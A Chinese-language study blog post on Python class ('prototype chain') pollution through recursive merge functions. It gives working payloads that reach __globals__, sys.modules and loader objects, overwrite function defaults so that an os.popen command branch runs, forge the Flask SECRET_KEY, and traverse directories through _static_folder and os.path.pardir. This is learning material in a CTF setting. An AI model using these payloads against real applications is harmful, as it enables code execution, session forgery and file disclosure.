关于python原型链污染的一次学习记录

GTL-JU Lv3

一、python原型链污染

本篇文章只是记录自己对python原型链污染的一个学习记录和复现,大部分都是参考和学习这位师傅的文章,并没有什么创新,只是作为自己学习的一个记录,感兴趣的师傅可以去看一下这篇文章:

https://tttang.com/archive/1876/#comment-12403

在前面我们学习了javascript的原型链污染,但是在ciscn2023华中赛区中出了一道python原型链污染的题目,所以这里对python原型链污染进行学习。

一、javascript中的megre函数

1
2
3
4
5
6
7
8
9
function merge(target, source) {
for (let key in source) {
if (key in source && key in target) {
merge(target[key], source[key])
} else {
target[key] = source[key]
}
}
}

通过我们前面对javscript的原型链污染的学习我们可以知道

这里通过

1
target[key] = source[key]

实现原型链污染

这里就向上篇文章我们学习的那个例子一样:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
function merge(target, source) {
for (let key in source) {

if (key in source && key in target) {
merge(target[key], source[key])
} else {
target[key] = source[key]
}
}
}
let o1 = {}
let o2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')
merge(o1, o2)
console.log(o1.a, o1.b)

o3 = {}
console.log(o3.b)

image-20230713173130534

分析代码可以看到if里面就是一个递归,else里面就是我们最终要使用的合并函数

我们打一点输出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
function merge(target, source) {
for (let key in source) {
console.log(key)
if (key in source && key in target) {
console.log("11111111111")
merge(target[key], source[key])

} else {
console.log(key)
console.log("===========================")
target[key] = source[key]
}
}
}
let o1 = {}
let o2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')
merge(o1, o2)

运行结果:

image-20230713173922191

我这里将每次循环的key值都打印出来了

第一次循环

第一次key=a. ,o1里面没有a,所以进入else

执行:

1
target[a] = source[a]

第二次循环

key=proto,通过我们前面的学习我们知道所有引用类型(函数,数组,对象)都拥有__proto__属性,那么对于target和source都拥有__proto__属性 所以这里会执行

1
2
3
4
5
6
7
merge(target[key], source[key])
即执行:
merge(target[__proto__], source[__proto__])
01:{}
01[__proto__]=[Object: null prototype] {}
02:{"a": 1, "__proto__": {"b": 2}}
02[__proto__]={"b": 2}

第三次循环:

key=b

这里至于source里面有b属性,所以直接进入else

即执行:

1
2
target[key] = source[key]
#object[b]=source[b]即2

但是这里的target=object

那我们执行这个就等于向object里面添加了一个b属性,就实现了原型链污染。

通过javascript的原型链污染学习,我们知道这是javascript原型链污染中的一种重要方式,但是在python中也可以通过这种攻击方式实现对类属性值的污染。

但是与javascript相比python的原型链污染条件太过苛刻,所以在看到大佬的文章中称之为python原型链污染变体,与javascript不同的是并不是所有的类和属性都是可以被污染的,污染只对类的属性起作用,对于类方法是无效的。

二、python中的merge合并函数

为什么说python的原型链污染比较苛刻呢,因为他像javascript中的merge函数的原型链污染的应用一样同样需要一个数值合并函数将特定值污染到类的属性中。

1
2
3
4
5
6
7
8
9
10
11
12
def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)

其实可以看到实现的功能和我们javascript中实现功能是类似的

下面我们通过一个污染示例来对学习这个函数是怎么进行污染的。

但是在分析示例代码前

我们要知道在python中类可以继承父类的属性和方法,当一个类从另一个类继承时,会获得父类的所有方法和属性,并且可以使用它们

但是当在子类中声明与父类同名的属性时,子类的属性会覆盖父类的同名属性

  • 类中声明的属性是类的共享属性,所有实例将共享同一个属性。
  • 以双下划线(__)开头的属性是类的特殊属性,它们在类的内部使用,并且在所有实例中都是唯一的。

三、python中的原型链污染

这里借用大佬文章代码进行分析:

修改自定义属性
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
class father:
secret = "haha"

class son_a(father):
pass

class son_b(father):
pass

def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):#判读dst里面是否存在__getitem__
if dst.get(k) and type(v) == dict:#判断dst中是否存在k键,存在返回对应键值而且判断v的类型是否是一个字典
merge(v, dst.get(k)) #递归运行merge,src=v,dst=dst.get(k)
else:
dst[k] = v #若dst里面不存在k键则添加到dst里面
elif hasattr(dst, k) and type(v) == dict:#判断dst里面是否存在k,并且判断v的类型是否是一个字典
merge(v, getattr(dst, k)) #执行merge递归,src=v,dst=getattr(dst,k)
else:
setattr(dst, k, v)#设置对象 dst 中属性名为 k 的属性值为 v。

instance = son_b()
payload = {
"__class__" : {
"__base__" : {
"secret" : "no way"
}
}
}

print(son_a.secret)
#haha
print(instance.secret)
#haha
merge(payload, instance)
print(son_a.secret)
#no way
print(instance.secret)
#no way

我们这里在merge(payload, instance)打上断点,调试分析一下污染的过程:

image-20230714082428059

初始变量:

image-20230714082455597

这里的instance是我们son_b的一个实例化对象,python中当直接打印一个对象时,Python会默认调用对象的__str__方法或__repr__方法来生成表示该对象的字符串。

  • <>:表示这是一个对象的开始和结束。
  • __main__.son_b__main__ 表示当前模块是主程序模块,而 son_b 表示对象所属的类名。
  • object:表示该对象是从内置类 object 继承而来的。

​ 最后一部分 0x000001D202236770 是对象在内存中的地址,以十六进制表示。

<__main__.son_b object at 0x000001D202236770> 的含义是当前模块中的 son_b 类的一个对象,位于内存地址 0x000001D202236770

步入:

image-20230714082754866

image-20230714082803399

这里的src和dst分别是我们传入的payload和instance

image-20230714082910410

src.items()

src.items() 是一个字典(src)的方法调用,用于返回字典中所有键值对的视图对象。这个方法返回一个类似于列表的可迭代对象,其中包含了字典中所有的键值对。

这里取出了k和v的值

这里的k和v的值就是paylaod里面的键值和键名

然后这里会对dst进行一个判断,根据我们代码中的分析:

image-20230714083456432

这里会进入到merge(v,getattr(dst,k))进行递归

image-20230714084337894

getattr(dst,k)用于获取对象 dst 中属性名为 k 的属性的值。

继续步入:

image-20230714084518672

src={‘base‘: {‘secret’: ‘no way’}} dst=<class ‘__main__.son_b’>

继续跟进

image-20230714084732600

这里的k=__base v={‘secret’:’no way’}

经过判断后还是执行了递归

继续跟进

image-20230714085059308

经过再一次递归

src={‘secret’:’no way’} dst=<class ‘main.father’#子类继承父类

在python中子类可以通过base属性来查找其直接父类,__class__ 属性用于访问对象所属的类,而 __base__ 属性用于访问类的直接父类。如果类有多个父类,则可以通过 __bases__ 属性来访问所有的父类。

可以看到这里经过if判断,由于v已经不满足字典类型所以调用了setattr(dst,k,v)

那么到这里就等于已经实现了污染,因为我们调用setattr(dst,k,v)修改了father类中的srcret的值

我们可以输出一下:

1
2
3
4
5
print(son_a.secret)
print(instance.secret)
merge(payload, instance)
print(son_a.secret)
print(instance.secret)
image-20230714091935670

通过上面的分析我们可以看到这个和javascript中利用merge函数进行原型链污染的过程是非常相似的。不同的一点是在javascript中是利用__proto 沿着原型链向上查找进行污染,而在这里是通过getattr()配合class和base属性最终到我们要污染的类里面。

修改内置属性

上面的例子我们是通过污染去修改自定义属性,我们还可以通过这种方法去修改内置属性

例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
class father:
pass

class son_a(father):
pass

class son_b(father):
pass

def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)

instance = son_b()
payload = {
"__class__" : {
"__base__" : {
"__str__" : "Polluted ~"
}
}
}

print(father.__str__)
merge(payload, instance)
print(father.__str__)

运行结果:

image-20230714092734324

这里的污染过程和上面就很类似了,只不过我们上面污染的是自定义属性,这里污染的是内置属性

image-20230714093231149

可以看到,这里最终也是调用setattr方法,把dst中的__str__ 值修改为Polluted ~

无法被污染的object

在前面我们提了并不是所有类的属性都可以被污染,对于某些特殊的内置类(如object),它们的属性通常被设计为只读或不可修改。这意味着无法直接通过属性值查找来获取或修改这些类的属性。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)

payload = {
"__class__" : {
"__str__" : "Polluted ~"
}
}

merge(payload, object)

image-20230714094203421

这种情况下,便没有办法进行污染,而且在上面我们查找父类是通过__base__属性来实现的,但是如果目标类与切入点或实例没有继承关系时,我们就没有办法再去进行污染,在这种情况下可以考虑使用其他机制或方法来实现对目标类的切入点或属性的查找。一种常见的方式是通过自定义方法或特殊的接口来访问和操作目标类的属性。

通过全局变量global获取

在Python中,函数对象和类方法对象都具有一个特殊属性 __globals__,该属性提供了函数或方法所声明的变量空间中的全局变量的字典形式。它类似于 globals() 函数的返回值,但只包含函数或方法的作用域内的全局变量。但是内置方法(__int__,__str__)的类型在没有被重写时是装卸器,只有在重写后才变为函数类型,这是因为内置方法在初始定义时是特殊的描述符对象,它们具有特定的行为和功能。一旦在子类中重写了内置方法,它将变为普通的函数对象,具有与普通函数相同的属性和行为。无论是装饰器还是函数,这些方法都可以通过 __globals__ 属性访问其变量空间中的全局变量。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
secret_var = 114

def b():
pass

class a:
def __init__(self):
pass
print(b.__globals__)
print("--------------------------------------------------------------")
print(globals())
print("--------------------------------------------------------------")
print(a.__init__.__globals__)
print("--------------------------------------------------------------")
print(b.__globals__ == globals() == a.__init__.__globals__)

image-20230714100231161

可以看到我们可以通过globals查看对象的全局变量

那么这样我们即使无继承关系也可以修改目标类的类属性甚至全局变量

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
secret_var = 114

def test():
pass

class a:
secret_class_var = "secret"

class b:
def __init__(self):
pass

def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)

instance = b()

payload = {
"__init__" : {
"__globals__" : {
"secret_var" : 514,
"a" : {
"secret_class_var" : "Pooooluted ~"
}
}
}
}

print(a.secret_class_var)
#secret
print(secret_var)
#114
merge(payload, instance)
print(a.secret_class_var)
#Pooooluted ~
print(secret_var)
#514

这里仍然打断点调试分析一下污染的过程:

第一次执行merge()

image-20230714101602589

第二次调用merge()

image-20230714101833276

到第二次调用这个merge()可以看到此时的k=__globals__

当我们在第二次调用结束后会进行第三次的调用

1
merge(v, getattr(dst, k))

此时 dst=<bound method b.__init__ of <blog5.b object at 0x000001D676AA5C90>>

​ k=__globals__

那么我们在执行getattr(dst,k)的时候就会获取到dst的全局变量,从而我们就可以找到我们的污染对

image-20230714102415359

然后我们通过我们获取到的全局变量去查找我们要修改的属性值

image-20230714102602851

可以看到我们在我们获取到的全局变量中找到了我们要修改的属性值secret_var

然后由于到这里v不再是字典类型了

那么我们这里就会调用dst[k]=v

进行污染我们的目标属性

那么到这里我们便同全局变量globals获取到我们的目标属性值,并进行了污染。

通过已加载模块获取

在某些情况下,我们可能需要获取其他模块中定义的类对象或属性,尽管我们的操作位置在入口文件中。为了实现这一点,可以通过其他已经加载过的模块进行获取。

加载关系简单的

一些模块的加载关系比较简单,我们直接可以通过imporant语句部分来找到我们的目标模块,那么到这个时候我们就可以通过全局变量来获取目标模块。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
#test.py

import test_1

class cls:
def __init__(self):
pass

def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)

instance = cls()

payload = {
"__init__" : {
"__globals__" : {
"test_1" : {
"secret_var" : 514,
"target_class" : {
"secret_class_var" : "Poluuuuuuted ~"
}
}
}
}
}

print(test_1.secret_var)
#secret
print(test_1.target_class.secret_class_var)
#114
merge(payload, instance)
print(test_1.secret_var)
#514
print(test_1.target_class.secret_class_var)
#Poluuuuuuted ~
1
2
3
4
5
6
#test_1.py

secret_var = 114

class target_class:
secret_class_var = "secret"
加载关系复杂的

在我们的真是环境或者时遇到的题目中往往是多层模块导入,甚至是存在于内置模块或三方模块中导入,这个时候我们通过看imporant语法部分就不太现实了,但是我们可以利用sys模块进行查找。

sys 是一个内置模块,它提供了与 Python 解释器的运行时环境和系统交互相关的函数和变量。通过导入 sys 模块,我们可以访问和操作与系统交互相关的功能。

sys.modules 中包含了当前解释器中已经加载的模块,包括内置模块、标准库模块和自定义模块。每个模块对象在首次被导入时会被添加到 sys.modules 中,以便之后的导入操作可以直接从该字典中获取相应的模块对象,而无需重新加载。sys.modules 提供了一种方便的方式来获取和操作已加载的模块对象。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
#test.py

import test_1
import sys

class cls:
def __init__(self):
pass

def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)

instance = cls()

payload = {
"__init__" : {
"__globals__" : {
"sys" : {
"modules" : {
"test_1" : {
"secret_var" : 514,
"target_class" : {
"secret_class_var" : "Poluuuuuuted ~"
}
}
}
}
}
}
}

print(test_1.secret_var)
#secret
print(test_1.target_class.secret_class_var)
#114
merge(payload, instance)
print(test_1.secret_var)
#514
print(test_1.target_class.secret_class_var)
#Poluuuuuuted ~
1
2
3
4
5
6
#test_1.py

secret_var = 114

class target_class:
secret_class_var = "secret"

运行结果:

image-20230714104439697

同样的我们这里还是打断点分析调试:

第一次调用merge()

image-20230714104614297

然后到最后我们可以发现到最后仍然是调用了merge()进行递归这里的key值是int对dst进行了初始化

继续跟进:

第二次调用merge()

image-20230714104750918

通过变量值我们可以看到k=__globals__,那么到最后仍然是调用merge()

当然这里同样使用了getattr通过globals属性去查找全局变量

继续跟进

第三次调用merge()

image-20230714105102180

这里是进入了第一个if语句,但是同样的还是调用merge()进行递归,不同的是dst的值改为了dst.get(k),这里我们的k值是sys

那么这里就是获取到全局变量中sys模块对应的值

我们继续跟进

image-20230714110026048

这里在最好调用了sys的modules模块

继续跟进:

image-20230714110219632

我们可以看到到这里我们通过dst.get(k)使用sys的modules模块找到了我们目标模块的位置

那么后面的污染过程就和我们上面的一样了,找到目标类的目标属性进行污染

image-20230714110519208

sys模块未导入

在上面的例子中我们是导入了sys模块,但是在实际环境中大部分都不会导入sys模块

那么我们如果想要使用这种方法,那我们就要先要通过paylaod找到sys模块,然后再去调用,这样问题就从寻找import特定模块的语句转换为寻找import了sys模块的语句。

在参考博客的文章中,大佬说这样对问题的解决并不见得有多少优化,所以为了进一步优化这个问题,这里采用的是python加载器中的loader模块

在 Python 中,加载器(Loader)是用于加载模块的组件。加载器负责解析模块的源代码、编译代码(如果需要),并创建模块对象供程序使用。

Python 提供了不同类型的加载器来适应不同的模块加载场景,其中一些常见的加载器包括:

  1. Source File Loader(源文件加载器):用于从源代码文件加载模块。它根据模块的路径查找对应的源代码文件,并读取、解析、编译并创建模块对象。importlib 模块中的 SourceFileLoader 类提供了源文件加载器的实现。
  2. Extension Module Loader(扩展模块加载器):用于加载编译为共享库的扩展模块。它将共享库加载到 Python 解释器中,并创建模块对象。这种加载器通常用于加载用 C/C++ 编写的模块。importlib 模块中的 ExtensionFileLoader 类提供了扩展模块加载器的实现。
  3. Frozen Module Loader(冻结模块加载器):用于加载被冻结(打包)为单个文件的模块。冻结模块是将模块及其依赖项打包成一个独立的文件,以便在没有源代码的情况下进行加载和使用。importlib 模块中的 FrozenImporter 类提供了冻结模块加载器的实现。
  4. Namespace Package Loader(命名空间包加载器):用于加载命名空间包。命名空间包是一个虚拟的包,由多个独立的目录或包组成。命名空间包加载器会根据不同的目录或包来加载对应的子模块。importlib 模块中的 NamespaceLoader 类提供了命名空间包加载器的实现。

其实这里简单来说loader就是为实现模块加载而设计的类。

通过上面的关于loader的了解我没可以知道其在importlib中有具体的实现。

通过了解importlib 模块是 Python 中用于处理模块导入的核心模块之一,并且在其所有的 Python 文件中引入了 sys 模块。这样可以确保在使用 importlib 模块时能够方便地访问和操作 sys 模块提供的功能

那我们就可以通过importlib去找到我们要调用的sys模块

这里参考博客文章上面给出了验证代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
print("sys" in dir(__import__("importlib.__init__")))
#True
print("sys" in dir(__import__("importlib._bootstrap")))
#True
print("sys" in dir(__import__("importlib._bootstrap_external")))
#True
print("sys" in dir(__import__("importlib._common")))
#True
print("sys" in dir(__import__("importlib.abc")))
#True
print("sys" in dir(__import__("importlib.machinery")))
#True
print("sys" in dir(__import__("importlib.metadata")))
#True
print("sys" in dir(__import__("importlib.resources")))
#True
print("sys" in dir(__import__("importlib.util")))
#True

通过代码验证我们可以看到都导入的有sys模块

所以只要我们能过获取到一个loader便能用如loader.__init__.__globals__['sys']的方式拿到sys模块,这样进而获取目标模块。

那么现在又出现了一个新的问题,loader好获取吗?如何获取?

Python 中,模块的加载和导入是由 Python 解释器自动处理的。当您使用 import 语句导入一个模块时,Python 解释器会自动查找该模块并加载它。

Python 的模块加载器会根据一定的搜索路径来查找和加载模块。搜索路径包括内置模块、已安装的第三方库以及您自己编写的模块所在的目录。Python 解释器会按照特定的顺序搜索这些路径,直到找到所需的模块。

对于一个模块来说,模块中的一些内置属性会在被加载时自动填充

__loader__内置属性会被赋值为加载该模块的loader,这样只要能获取到任意的模块便能通过__loader__属性获取到loader,而且对于python3来说除了在debug模式下的主文件中__loader__None以外,正常执行的情况每个模块的__loader__属性均有一个对应的类

_spec__内置属性在Python 3.4版本引入,其包含了关于类加载时的信息,本身是定义在Lib/importlib/_bootstrap.py的类ModuleSpec,显然因为定义在importlib模块下的py文件,所以可以直接采用<模块名>.__spec__.__init__.__globals__['sys']获取到sys模块

由于ModuleSpec的属性值设置,相对于上面的获取方式,还有一种相对长的payload的获取方式,主要是利用ModuleSpec中的loader属性。如属性名所示,该属性的值是模块加载时所用的loader,在源码中如下所示:

image-20230122204320376

所以有这样的相对长的Payload<模块名>.__spec__.loader.__init__.__globals__['sys']

实际环境中的合并函数

根据学习文章的作者所述,依据原博主所述,目前发现了Pydash模块中的set_set_with函数具有如上实例中merge函数类似的类属性赋值逻辑,能够实现污染攻击。所以说python的原型链污染攻击的条件有点苛刻。

函数形参默认值替换

在学习之前我们先了解一下函数的__defaults____kwdefaults__这两个内置属性

defaults

__defaults__以元组的形式按从左到右的顺序收录了函数的位置或键值形参的默认值,__defaults__ 是 Python 中函数对象的内置属性之一,用于访问函数的默认参数值。它是一个元组,包含了函数定义中位置参数的默认值,如果函数定义中某个位置参数具有默认值,那么该默认值会被存储在 __defaults__ 属性中相应位置的元组元素中。如果函数没有定义位置参数的默认值,__defaults__ 的值为 None

示例:

1
2
3
4
5
6
def my_function(a, b=10, c=None):
pass

defaults = my_function.__defaults__
print(defaults)
# (10, None)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
def func_a(var_1, var_2 =2, var_3 = 3):
pass

def func_b(var_1=1, /, var_2 =2, var_3 = 3):
pass

def func_c(var_1=1, var_2 =2, *, var_3 = 3):
pass

def func_d(var_1=1, /, var_2 =2, *, var_3 = 3):
pass

print(func_a.__defaults__)
print(func_b.__defaults__)
print(func_c.__defaults__)
print(func_d.__defaults__)

image-20230714142848725

通过替换属性就能够实现对函数位置或键值形参的默认值替换,但是该属性值要求为元组类型,而通常的如JSON等格式并没有元组这一数据类型设计概念,这就需要环境中有合适的解析输入的方式

污染示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
def evilFunc(arg_1 , shell = False):
if not shell:
print(arg_1)
else:
print(__import__("os").popen(arg_1).read())

class cls:
def __init__(self):
pass

def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)

instance = cls()

payload = {
"__init__" : {
"__globals__" : {
"evilFunc" : {
"__defaults__" : (
True ,
)
}
}
}
}

evilFunc("whoami")
#whoami
merge(payload, instance)
evilFunc("whoami")
#article-kelp

首先看一下命令执行的代码

1
2
3
4
5
6
def evilFunc(arg_1 , shell = False):
if not shell:
print(arg_1)
else:
print(__import__("os").popen(arg_1).read())

这个函数会对shell进行判断,如果false则将传入的参数arg_1打印输出,如果是true则调用os模块进行命令执行

那我们只需要把evilFunc的shell的默认值替换为true便能够进行命令执行

paylaod:

1
{ "__init__" : {"__globals__" : {"evilFunc" : {"__defaults__" : (True , )}}}}

这个污染和上面的是一样的,同样的通过globals获得全局变量,然后找到evilFunc修改defaults 即默认参数的值为true。

image-20230714143724771

image-20230714143738589

image-20230714143814110

kwdefaults

_kwdefaults__以字典的形式按从左到右的顺序收录了函数键值形参的默认值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
def func_a(var_1, var_2 =2, var_3 = 3):
pass

def func_b(var_1, /, var_2 =2, var_3 = 3):
pass

def func_c(var_1, var_2 =2, *, var_3 = 3):
pass

def func_d(var_1, /, var_2 =2, *, var_3 = 3):
pass

print(func_a.__kwdefaults__)
print(func_b.__kwdefaults__)
print(func_c.__kwdefaults__)
print(func_d.__kwdefaults__)

image-20230714144010915

可以看到kwdefaults是收录着函数的关键字参数的默认值

污染示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
def evilFunc(arg_1 , * , shell = False):
if not shell:
print(arg_1)
else:
print(__import__("os").popen(arg_1).read())

class cls:
def __init__(self):
pass

def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)

instance = cls()

payload = {
"__init__" : {
"__globals__" : {
"evilFunc" : {
"__kwdefaults__" : {
"shell" : True
}
}
}
}
}

evilFunc("whoami")
#whoami
merge(payload, instance)
evilFunc("whoami")
#article-kelp

image-20230714144304677

image-20230714144318889

image-20230714144333009

flask相关特定属性的相关利用
secret_key伪造

我们可以通过污染去修改secret_key的值,然后进行任意session伪造

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#app.py

from flask import Flask,request
import json

app = Flask(__name__)

def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)

class cls():
def __init__(self):
pass

instance = cls()

@app.route('/',methods=['POST', 'GET'])
def index():
if request.data:
merge(json.loads(request.data), instance)
return "[+]Config:%s"%(app.config['SECRET_KEY'])


app.run(host="0.0.0.0")

image-20230714145412365

这里因为并没有设置密钥所以为空

但是我们可以通过payload:

1
2
3
4
5
6
7
8
9
10
11
{
"__init__" : {
"__globals__" : {
"app" : {
"config" : {
"SECRET_KEY" :"Polluted~"
}
}
}
}
}

去修改SECRET_KEY的值

image-20230714145535300

可以看到已经污染成功了

这里的污染思路和我们上面修改自定义属性和修改内置属性的方法是相同的,这也是原型链污染的一个应用吧。

_got_first_request

通常被用来判断某次请求是否为flask启动后的第一次请求,是是Flask.got_first_request函数的返回值

污染示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from flask import Flask,request
import json

app = Flask(__name__)

def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)

class cls():
def __init__(self):
pass

instance = cls()

flag = "Is flag here?"

@app.before_first_request
def init():
global flag
if hasattr(app, "special") and app.special == "U_Polluted_It":
flag = open("flag", "rt").read()

@app.route('/',methods=['POST', 'GET'])
def index():
if request.data:
merge(json.loads(request.data), instance)
global flag
setattr(app, "special", "U_Polluted_It")
return flag

app.run(host="0.0.0.0")

通过分析代码我们可以知道只有程序启动后,before_first_request修饰的init函数只会在第一次访问前被调用,但是我们读取flag又需要访问路由/才能够触发,这样就造成了相互矛盾,那也就是说我们访问/要把_got_first_request属性值重置为假。这样才能够去调用before_first_request才会被调用

同样的通过globals获取全局变量然后找到_got_first_request修改其值为假

paylaod:

1
2
3
4
5
6
7
8
9
{
"__init__" : {
"__globals__" : {
"app" : {
"_got_first_request" : false
}
}
}
}

image-20230714151010859

执行paylaod,修改属性值为假

image-20230714151136578

_static_url_path

在Flask框架中,_static_url_path是一个应用对象(Flask实例)的属性,用于设置静态文件的URL路径。

_static_url_path属性用于设置静态文件的URL路径前缀。默认情况下,它的值为/static,这意味着静态文件可以通过类似http://example.com/static/css/style.css的URL路径进行访问

污染示例:

1
2
3
4
5
6
7
#static/index.html

<html>
<h1>hello</h1>
<body>
</body>
</html>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#app.py

from flask import Flask,request
import json

app = Flask(__name__)

def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)

class cls():
def __init__(self):
pass

instance = cls()

@app.route('/',methods=['POST', 'GET'])
def index():
if request.data:
merge(json.loads(request.data), instance)
return "flag in ./flag but heres only static/index.html"


app.run(host="0.0.0.0")

image-20230714153747051

尝试目录穿越

image-20230714153803804

通过污染修改属性值为当前目录

image-20230714153923580

image-20230714153946310

paylaod:

1
2
3
4
5
6
7
8
9
{
"__init__" : {
"__globals__" : {
"app" : {
"_static_folder : "./"
}
}
}
}
os.path.pardir

os.path.pardiros.path模块中的一个常量,用于表示上一级目录的字符串。会影响flask模板渲染函数render_template的解析。

污染示例:

1
2
3
4
5
6
7
#templates/index.html

<html>
<h1>hello</h1>
<body>
</body>
</html>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#app.py

from flask import Flask,request,render_template
import json
import os

app = Flask(__name__)

def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)

class cls():
def __init__(self):
pass

instance = cls()

@app.route('/',methods=['POST', 'GET'])
def index():
if request.data:
merge(json.loads(request.data), instance)
return "flag in ./flag but u just can use /file to vist ./templates/file"

@app.route("/<path:path>")
def render_page(path):
if not os.path.exists("templates/" + path):
return "not found", 404
return render_template(path)

app.run(host="0.0.0.0")

直接访问http://domain/xxx时会使用render_tempaltes渲染templates/xxx文件

image-20230714155140514

尝试目录穿越,则会报服务器错误

image-20230714155210221

根据报错信息找到源码

image-20230714155319790

image-20230714155307031

image-20230714155432773

继续跟进:

image-20230714155515849

该函数接受一个名为template的字符串参数,表示模板路径。它首先通过template.split("/")将模板路径字符串分割成多个路径段,并使用for循环逐个处理这些段。

在每个段中,函数进行以下检查:

  • os.path.sep in piece 检查路径段中是否包含正常路径分隔符(例如,在Windows上是\)。
  • os.path.altsep and os.path.altsep in piece 检查路径段中是否包含备用路径分隔符(例如,在Windows上是/)。
  • piece == os.path.pardir 检查路径段是否等于os.path.pardir,即上一级目录表示符号..

如果上述任何一个条件为真,就会引发TemplateNotFound错误,表示模板路径不合法。

如果路径段不满足上述条件,且不为空或不等于当前目录表示符号.,则将其添加到pieces列表中。

最后,函数返回由合法路径段组成的pieces列表

那我们想要进行目录穿越就要避免触发34行的raise,os.path.pardir的值为..,所以我们只要修改为其他值就可以避免报错,从而实现render_template函数的目录穿越。

paylaod:

1
2
3
4
5
6
7
8
9
10
11
{
"__init__" : {
"__globals__" : {
"os" : {
"path":{
"pardir" : "#"
}
}
}
}
}

image-20230714160118834

污染进行目录穿越

image-20230714160148486

